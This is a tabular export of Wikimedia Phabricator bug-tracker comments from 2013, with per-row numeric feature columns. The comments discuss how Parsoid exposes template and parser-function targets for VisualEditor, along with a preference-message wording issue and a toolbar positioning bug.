212359,Mediawikiwiki: Make VisualEditor a hidden preference,Related URL: https://gerrit.wikimedia.org/r/70652 (Gerrit Change Ica186b9374ddaa0f2f6b2a84e5dff851011b68a4),,,1372265133,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-q322vvsm62gyx2idxtx2,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change Ica186b9374ddaa0f2f6b2a84e5dff851011b68a4)
212353,Mediawikiwiki: Make VisualEditor a hidden preference,Simplest solution to this problem. :-),,,1369159470,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-q322vvsm62gyx2idxtx2,task_subcomment,,True,c1,1,True,,,-6,,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,14.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,4.714285714285714,1.0,Simplest solution to this problem. :-)
212348,Mediawikiwiki: Make VisualEditor a hidden preference,"(In reply to comment #0)
> The newsletter update states that Visual Editor is now functioning in the
> content namespaces at MW, which includes the extension: and manual:
> namespaces (and it does).  That said, the default text for
> ""MediaWiki:Visualeditor-preference-enable"" just states user and main at that
> wiki.

It probably shouldn't default to saying only some namespaces and not changing when the wiki config adds it to other namespaces. Moving this bug to the VisualEditor product.",,,1369156791,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-q322vvsm62gyx2idxtx2,task_subcomment,,True,c1,1,True,,,-6,,2.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,10.0,10.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,18.0,2.0,2.0,8.0,0.0,0.0,0.0,2.0,4.0,0.0,2.0,0.0,4.0,10.0,10.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,6.0,0.0,0.0,0.0,3.94,0.72,"(In reply to comment #0)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

It probably shouldn't default to saying only some namespaces and not changing when the wiki config adds it to other namespaces. Moving this bug to the VisualEditor product."
50663,Parsoid: DOM for template objects should expose template name,"{{foo}} -> Template:Foo
{{:foo}} -> foo
{{:user:Foo}} -> User:Krinkle
{{Template:foo}} -> Template:Foo
etc.

VisualEditor needs the name of the page that ends up being transcluded by the template invocation.

From conversation with Gabriel I gather that currently the entire tranclusion system (at least in production) is deferred to the PHP parser (including the invocation itself). Which means Parsoid is unable to determine it itself right now.

Gabriel suggested Parsoid will provide the name the best it can for simple cases that don't dynamically construct the page name (e.g. not something like:
 {{ {{getTemplateName|x=foo}} | bar }}
).

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1369093620,1370462741.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-kjq6yunjdamvcihfi3va,task_description,resolved,True,c1,1,True,False,True,-6,,0.0,0.5,0.0,1.0,1.0,4.5,0.5,0.0,0.0,0.0,1.0,0.5,0.0,0.0,0.0,0.5,0.0,4.0,6.5,0.5,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.5,0.0,3.5,1.5,2.5,0.5,0.0,0.0,0.5,0.5,1.0,0.0,0.0,0.5,3.5,0.5,0.5,0.0,1.0,0.5,9.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.5,0.0,1.0,0.0,5.0,1.5,10.0,0.5,0.0,5.5,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,3.5,6.5,7.0,0.0,0.0,0.0,3.5,0.0,1.5,0.0,1.0,0.5,0.0,1.0,3.5,3.5738636363636367,0.5852272727272727,"{{foo}} -> Template:Foo
{{:foo}} -> foo
{{:user:Foo}} -> User:Krinkle
{{Template:foo}} -> Template:Foo
etc.

VisualEditor needs the name of the page that ends up being transcluded by the template invocation.

From conversation with Gabriel I gather that currently the entire tranclusion system (at least in production) is deferred to the PHP parser (including the invocation itself). Which means Parsoid is unable to determine it itself right now.

Gabriel suggested Parsoid will provide the name the best it can for simple cases that don't dynamically construct the page name (e.g. not something like:
 {{ {{getTemplateName|x=foo}} | bar }}
).

--------------------------
**Version**: unspecified
**Severity**: normal"
212173,Parsoid: DOM for template objects should expose template name,https://gerrit.wikimedia.org/r/65622 (Gerrit Change I3b2fbf3b533b14680d2b881ac9fb43218d4f023a) | change APPROVED and MERGED [by jenkins-bot],,,1370460530,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-kjq6yunjdamvcihfi3va,task_subcomment,,True,c1,1,False,,,-4,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,35.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,41.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.117647058823529,1.0,GERRIT_URL (Gerrit Change I3b2fbf3b533b14680d2b881ac9fb43218d4f023a) | change APPROVED and MERGED [by jenkins-bot]
212167,Parsoid: DOM for template objects should expose template name,"Latest proposal that is now pending review and merge (based on discussions on IRC).

All transclusions now have ""mw:Transclusion"" typeof.

data-mw.target.href will point to the template source page, if the template target is known statically.  Will not be set set if target is templated.

data-mw.target.function will provide the name of the parser-function/magic-word, if the function target is known statically.  Will not be set otherwise.",,,1370456625,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-kjq6yunjdamvcihfi3va,task_subcomment,,True,c1,1,True,,,-4,,1.0,0.0,0.0,6.0,2.0,3.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,6.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,7.0,0.0,0.0,0.0,1.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,6.0,7.0,7.0,3.0,1.0,7.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,8.0,1.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,1.0,4.280898876404494,0.6179775280898876,"Latest proposal that is now pending review and merge (based on discussions on IRC).

All transclusions now have ""mw:Transclusion"" typeof.

data-mw.target.href will point to the template source page, if the template target is known statically.  Will not be set set if target is templated.

data-mw.target.function will provide the name of the parser-function/magic-word, if the function target is known statically.  Will not be set otherwise."
212162,Parsoid: DOM for template objects should expose template name,Related URL: https://gerrit.wikimedia.org/r/65622 (Gerrit Change I3b2fbf3b533b14680d2b881ac9fb43218d4f023a),,,1369577963,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-kjq6yunjdamvcihfi3va,task_subcomment,,True,c1,1,False,,,-6,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I3b2fbf3b533b14680d2b881ac9fb43218d4f023a)
212157,Parsoid: DOM for template objects should expose template name,"Given that transclusion targets can be dynamic ({{ {{echo|lc}}:FOO}} and such), it wont be possible to always provide a statically determined tpl/pf target.  In the general case, the user shouldn't be editing parameters for these dynamic cases without knowing that the tpl. target is specific to the current editing session and arbitrary editing of the parameters might break the transclusion in other scenarios (day-of-week or month-of-year based selection of tpl targets).

So, if we cannot always provide the template or parser function target, it seems we shouldn't add that to the typeof field and leave the typeof as: ""mw:Object/Transclusion/Template"" or ""mw:Object/Transclusion/ParserFunction"" and rely on the data-mw.target json property to communicate info about the target (fully resolved url, if static OR html with transclusion wrappers, if templated).",,,1369480864,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-kjq6yunjdamvcihfi3va,task_subcomment,,True,c1,1,True,,,-6,,0.0,0.0,0.5,0.0,1.5,5.5,1.5,0.0,0.0,1.5,1.5,1.0,0.0,0.0,0.0,1.0,0.0,5.0,10.5,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,1.0,1.0,1.0,1.5,0.0,0.5,0.0,1.5,1.0,0.0,0.0,0.0,3.0,0.0,1.5,0.0,0.0,1.0,17.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,0.5,0.0,0.0,0.0,0.0,6.5,2.0,5.5,2.0,4.5,8.0,0.0,0.0,0.0,0.0,5.5,0.0,0.5,0.0,2.0,10.5,4.5,0.0,2.0,0.0,2.0,0.0,0.0,0.5,0.0,1.0,0.0,0.0,0.0,4.111111111111111,0.6833333333333333,"Given that transclusion targets can be dynamic ({{ {{echo|lc}}:FOO}} and such), it wont be possible to always provide a statically determined tpl/pf target.  In the general case, the user shouldn't be editing parameters for these dynamic cases without knowing that the tpl. target is specific to the current editing session and arbitrary editing of the parameters might break the transclusion in other scenarios (day-of-week or month-of-year based selection of tpl targets).

So, if we cannot always provide the template or parser function target, it seems we shouldn't add that to the typeof field and leave the typeof as: ""mw:Object/Transclusion/Template"" or ""mw:Object/Transclusion/ParserFunction"" and rely on the data-mw.target json property to communicate info about the target (fully resolved url, if static OR html with transclusion wrappers, if templated)."
212151,Parsoid: DOM for template objects should expose template name,"https://en.wikipedia.org/w/api.php?action=query&meta=siteinfo&format=jsonfm&siprop=functionhooks doesn't expose the flag.

We were thinking of replacing mw:Object/Template with mw:Object/Transclusion to make it clear that the object being annotated is a transclusion.  We want to retain a Transclusion type so all transclusions can be recognized for those cases where you dont need to distinguish between types.  But, I suppose we could make this: ""mw:Object/Transclusion/Template"" or ""mw:Object/Tranclusion/ParserFunction"".  Right now, the target is not part of this, since this is a type but we are being inconsistent since extensions provide the target name as part of the typeof.  So, we should probably make all those typeofs consistent in some way.

Since this is not necessary for July, let us take a bit more time to work through these (and any other) details rather than make a quick fix.",,,1369475889,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-kjq6yunjdamvcihfi3va,task_subcomment,,True,c1,1,True,,,-6,,2.0,0.0,0.0,1.0,1.5,4.0,2.0,0.0,0.0,0.0,1.0,0.5,0.0,0.0,0.0,3.5,0.0,6.0,10.5,0.0,2.0,0.5,1.5,0.0,0.5,0.0,0.0,0.0,1.0,0.0,0.5,5.5,1.5,0.5,2.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,2.0,0.0,0.5,0.0,0.0,0.0,13.0,3.0,1.0,0.0,0.5,0.0,0.0,0.5,0.0,0.5,0.0,0.0,1.5,0.0,0.5,0.5,0.0,0.0,5.5,5.0,10.5,2.5,2.0,11.5,0.0,0.0,0.0,0.0,6.5,0.0,0.0,0.0,4.5,10.5,4.5,0.0,2.0,0.0,4.5,0.0,0.5,2.5,0.5,1.0,0.5,0.0,0.5,3.8522727272727275,0.7159090909090909,"URL doesn't expose the flag.

We were thinking of replacing mw:Object/Template with mw:Object/Transclusion to make it clear that the object being annotated is a transclusion.  We want to retain a Transclusion type so all transclusions can be recognized for those cases where you dont need to distinguish between types.  But, I suppose we could make this: ""mw:Object/Transclusion/Template"" or ""mw:Object/Tranclusion/ParserFunction"".  Right now, the target is not part of this, since this is a type but we are being inconsistent since extensions provide the target name as part of the typeof.  So, we should probably make all those typeofs consistent in some way.

Since this is not necessary for July, let us take a bit more time to work through these (and any other) details rather than make a quick fix."
212145,Parsoid: DOM for template objects should expose template name,"(In reply to comment #7)
> We were just looking at the wiki config to see if we can recognize something
> as
> a parser function (instead of a template) and ran into trouble:
> 
> * Looks like parser functions usage comes in 2 flavours: (a) with the
> #-prefix:
> ex: {{#if ..}}, etc. (b) without the #-prefix: ex: {{lc:...}}
> * config.functionhooks provides a list of parser functions, but that list
> doesn't distinguish between (a) and (b) above.  So, the functionhooks list
> has
> an entry for ""lc"" and an entry of ""if"" (not #if).
> 
This is controlled by the SFH_NO_HASH flag in CoreParserFunctions.php. Is this flag not exposed in config.functionhooks?

> If
> knowing that something is a parser function is essential for VE, then we
> could
> implement this check and maybe add a flag in data-mw or add some other way of
> marking up a parser function.  data-mw.target.isPF = true possibly?
It's not essential for July, but it's required in order to be able to support Wikidata editing. For that purpose, we'd like for parserfunctions to be marked as something like typeof=""mw:Object/ParserFunction/#if"" , as opposed as a template with a special data-mw bit (we could deal with the latter too, but the former would be much more convenient).",,,1369473754,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-kjq6yunjdamvcihfi3va,task_subcomment,,True,c1,1,False,,,-6,,0.5,0.5,0.0,1.0,1.0,4.0,1.0,0.0,0.0,0.0,4.5,0.5,0.0,0.0,0.0,1.5,0.0,3.0,12.0,0.5,2.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.5,0.0,2.0,0.0,1.0,1.5,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.5,0.5,0.5,0.0,0.0,0.0,12.0,0.5,1.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,3.0,15.0,0.0,1.5,5.0,0.0,0.0,0.0,0.5,5.0,0.0,0.5,0.0,2.5,12.0,8.0,0.5,0.5,0.0,2.5,0.0,0.0,1.5,0.0,0.0,0.5,0.0,0.0,3.8455882352941178,0.6176470588235294,"(In reply to comment #7)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
This is controlled by the SFH_NO_HASH flag in CoreParserFunctions.php. Is this flag not exposed in config.functionhooks?

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
It's not essential for July, but it's required in order to be able to support Wikidata editing. For that purpose, we'd like for parserfunctions to be marked as something like typeof=""mw:Object/ParserFunction/#if"" , as opposed as a template with a special data-mw bit (we could deal with the latter too, but the former would be much more convenient)."
212140,Parsoid: DOM for template objects should expose template name,"We were just looking at the wiki config to see if we can recognize something as a parser function (instead of a template) and ran into trouble:

* Looks like parser functions usage comes in 2 flavours: (a) with the #-prefix: ex: {{#if ..}}, etc. (b) without the #-prefix: ex: {{lc:...}}
* config.functionhooks provides a list of parser functions, but that list doesn't distinguish between (a) and (b) above.  So, the functionhooks list has an entry for ""lc"" and an entry of ""if"" (not #if).

So, ostensibly we could have tested if (a) the name starts with a # in which case it is a parser function; OR (b) the name (lc/if/padleft) is present in config.functionhooks.

But (b) gets us into trouble because you also have templates like ""if"".  So, {{if...}} ought to be treated as a template and not a parser function.

We could then use an additional check to see if there is a "":"" in the name to distinguish between {{lc:foo}} and {{lc|foo}}.

This could work, but seems a bit hacky and maybe fragile wrt edge cases. If knowing that something is a parser function is essential for VE, then we could implement this check and maybe add a flag in data-mw or add some other way of marking up a parser function.  data-mw.target.isPF = true possibly?",,,1369471610,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-kjq6yunjdamvcihfi3va,task_subcomment,,True,c1,1,True,,,-6,,0.25,0.5,0.0,0.25,0.75,2.25,1.25,0.25,0.0,2.5,2.0,0.25,0.0,0.0,0.25,1.5,0.0,4.25,10.5,0.5,1.0,0.25,0.0,0.0,0.5,0.0,0.25,0.25,1.5,0.0,0.0,3.75,1.75,0.25,0.75,0.25,0.25,0.0,2.75,0.0,0.0,0.0,0.0,2.0,0.0,0.5,0.0,0.0,0.25,11.25,0.25,0.5,0.0,0.25,0.75,0.0,0.0,0.25,1.0,0.0,0.0,0.75,0.0,0.0,0.0,0.0,0.0,5.75,2.0,3.0,3.25,3.25,7.25,0.0,0.0,0.0,1.25,3.25,0.0,0.25,0.0,2.0,10.5,3.5,0.25,2.0,0.0,2.0,0.0,0.25,4.0,0.25,1.0,0.0,0.0,2.0,3.2264240506329114,0.683504746835443,"We were just looking at the wiki config to see if we can recognize something as a parser function (instead of a template) and ran into trouble:

* Looks like parser functions usage comes in 2 flavours: (a) with the #-prefix: ex: {{#if ..}}, etc. (b) without the #-prefix: ex: {{lc:...}}
* config.functionhooks provides a list of parser functions, but that list doesn't distinguish between (a) and (b) above.  So, the functionhooks list has an entry for ""lc"" and an entry of ""if"" (not #if).

So, ostensibly we could have tested if (a) the name starts with a # in which case it is a parser function; OR (b) the name (lc/if/padleft) is present in config.functionhooks.

But (b) gets us into trouble because you also have templates like ""if"".  So, {{if...}} ought to be treated as a template and not a parser function.

We could then use an additional check to see if there is a "":"" in the name to distinguish between {{lc:foo}} and {{lc|foo}}.

This could work, but seems a bit hacky and maybe fragile wrt edge cases. If knowing that something is a parser function is essential for VE, then we could implement this check and maybe add a flag in data-mw or add some other way of marking up a parser function.  data-mw.target.isPF = true possibly?"
212135,Parsoid: DOM for template objects should expose template name,"This looks sane to me, and won't change much with the url patch. Transclusions are all treated the same in Parsoid. Would you like us to split on the colon and provide a special-case 0th parameter if something looks like a parser function?",,,1369469460,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-kjq6yunjdamvcihfi3va,task_subcomment,,True,c1,1,True,,,-6,,4.0,2.0,0.0,0.0,2.0,10.0,2.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,4.0,0.0,2.0,14.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,8.0,2.0,4.0,14.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,6.0,14.0,2.0,2.0,0.0,0.0,6.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,3.94,0.84,"This looks sane to me, and won't change much with the url patch. Transclusions are all treated the same in Parsoid. Would you like us to split on the colon and provide a special-case 0th parameter if something looks like a parser function?"
212129,Parsoid: DOM for template objects should expose template name,"(In reply to comment #4)
> We are exposing an 'url' format for static targets now. In a follow-up patch
> we
> plan to make that editable, and remove the 'wt' value for static targets. For
> templated targets we will initially still return 'wt', but in the longer term
> we will expose either 'url' for static targets or 'html' for templated ones.
So while discussing WikiData integration today, we noticed that parser functions aren't recognized very well. {{#property:capital|of=Germany}} returns {'target':{'wt':'#property:captial'}, 'params':{'of':'Germany'}}

Will this by improved in this URL change you're talking about?",,,1369404962,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-kjq6yunjdamvcihfi3va,task_subcomment,,True,c1,1,False,,,-6,,0.0,0.0,1.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,3.0,8.0,0.0,0.0,0.0,1.0,1.0,5.0,9.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,3.0,0.0,3.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,1.0,16.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,15.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,1.0,0.0,1.0,0.0,3.0,9.0,8.0,1.0,5.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,4.026666666666666,0.7066666666666667,"(In reply to comment #4)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
So while discussing WikiData integration today, we noticed that parser functions aren't recognized very well. {{#property:capital|of=Germany}} returns {'target':{'wt':'#property:captial'}, 'params':{'of':'Germany'}}

Will this by improved in this URL change you're talking about?"
212123,Parsoid: DOM for template objects should expose template name,"We are exposing an 'url' format for static targets now. In a follow-up patch we plan to make that editable, and remove the 'wt' value for static targets. For templated targets we will initially still return 'wt', but in the longer term we will expose either 'url' for static targets or 'html' for templated ones.",,,1369318288,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-kjq6yunjdamvcihfi3va,task_subcomment,,True,c1,1,True,,,-6,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,3.0,14.0,0.0,0.0,0.0,6.0,0.0,4.0,12.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,6.0,1.0,4.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,14.0,0.0,6.0,0.0,0.0,3.0,0.0,1.0,1.0,0.0,0.0,3.5833333333333335,0.625,"We are exposing an 'url' format for static targets now. In a follow-up patch we plan to make that editable, and remove the 'wt' value for static targets. For templated targets we will initially still return 'wt', but in the longer term we will expose either 'url' for static targets or 'html' for templated ones."
212115,Parsoid: DOM for template objects should expose template name,https://gerrit.wikimedia.org/r/64987 (Gerrit Change I3145a4168a2347cecc573dcc07bb4128962a5b11) | change APPROVED and MERGED [by jenkins-bot],,,1369318124,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-kjq6yunjdamvcihfi3va,task_subcomment,,True,c1,1,False,,,-6,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,35.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,35.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.117647058823529,1.0,GERRIT_URL (Gerrit Change I3145a4168a2347cecc573dcc07bb4128962a5b11) | change APPROVED and MERGED [by jenkins-bot]
212108,Parsoid: DOM for template objects should expose template name,Related URL: https://gerrit.wikimedia.org/r/64987 (Gerrit Change I3145a4168a2347cecc573dcc07bb4128962a5b11),,,1369254139,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-kjq6yunjdamvcihfi3va,task_subcomment,,True,c1,1,False,,,-6,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I3145a4168a2347cecc573dcc07bb4128962a5b11)
212103,Parsoid: DOM for template objects should expose template name,Related URL: https://gerrit.wikimedia.org/r/64651 (Gerrit Change Ie0114a81eead86d7a3b3e3a7a5b10d25c457b524),,,1369099672,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-kjq6yunjdamvcihfi3va,task_subcomment,,True,c1,1,False,,,-6,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change Ie0114a81eead86d7a3b3e3a7a5b10d25c457b524)
50662,VisualEditor: Toolbar floats only down to the top of the last BranchNode (which isn't always at the end),"Toolbar in VE floats to position of last BranchNode but should instead just use the bottom of the document or something.

--------------------------
**Version**: unspecified
**Severity**: minor",Medium,50.0,1369088700,1371688425.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-djl2633o2ndbnj77h5l2,task_description,resolved,True,c1,1,True,False,True,-6,,0.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,12.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,10.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.275,0.725,"Toolbar in VE floats to position of last BranchNode but should instead just use the bottom of the document or something.

--------------------------
**Version**: unspecified
**Severity**: minor"
